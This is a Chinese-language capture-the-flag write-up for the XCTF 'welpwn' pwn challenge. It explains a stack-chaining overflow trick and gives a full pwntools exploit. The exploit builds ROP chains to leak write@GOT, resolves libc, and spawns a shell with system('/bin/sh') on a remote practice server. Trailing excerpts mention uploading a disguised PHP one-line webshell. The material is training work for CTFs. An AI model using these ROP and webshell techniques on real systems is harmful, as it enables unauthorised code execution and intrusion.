攻防世界 pwn welpwn

2021-10-19 15:06:07 字數 2669 閱讀 2992

題目:

我只能說這道題太巧了, 實在太巧了。我想出來乙個名詞叫做棧連線

還是先checksec一下

然後在ida中看看, buf無法溢位, s因為有迴圈判斷限定,只能溢位乙個位址。

巧就巧在下面

這樣我們就可以輸入0x20個字元,也就是四個八個位元組,四個pop掉就可以。

aaaaaaaa     

- saaaaaaaa

aaaaaaaa

- echo ebp

pop_4_addr

- echo ret

aaaaaaaa

- buf

aaaaaaaa

aaaaaaaa

pop_4_addr

pop_rdi_addr

write_got

main_addr

執行後變為, buf的前四個 八個位元組都被pop掉了

pop_rdi_addr  

- ret

write_got

main_addr

同理,將棧這樣構造。就可以獲得shell了

aaaaaaaa     

- saaaaaaaa

aaaaaaaa

- echo ebp

pop_4_addr

- echo ret

aaaaaaaa

- buf

aaaaaaaa

aaaaaaaa

pop_4_addr

pop_rdi_addr

bin_sh_addr

system_addr

from pwn import

*from libcsearcher import

*#p = process("./pwn")

p = remote(

"111.200.241.244"

,49039

)elf = elf(

'./pwn'

)#gdb.attach(p, "b *0x0400782")

write_got = elf.got[

'write'

] puts_plt = elf.plt[

'puts'

] pop_4 =

0x40089c

pop_rdi =

0x4008a3

p.recvuntil(

'welcome to rctf\n'

)

main_addr =

0x4007cd

payload =

'a'*

0x18

+ p64(pop_4)

+ p64(pop_rdi)

+ p64(write_got)

+ p64(puts_plt)

+ p64(main_addr)

p.send(payload)

p.recvuntil(

'\x40'

) write_addr = u64(p.recv(6)

.ljust(8,

'\x00'))

print

hex(write_addr)

libc = libcsearcher(

'write'

,write_addr)

libc_base = write_addr - libc.dump(

'write'

) system_addr = libc_base + libc.dump(

'system'

) binsh_addr = libc_base + libc.dump(

'str_bin_sh'

)

p.recvuntil(

'\n'

) payload =

'a'*

0x18

+ p64(pop_4)

+ p64(pop_rdi)

+ p64(binsh_addr)

+ p64(system_addr)

p.send(payload)

p.interactive(

)

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...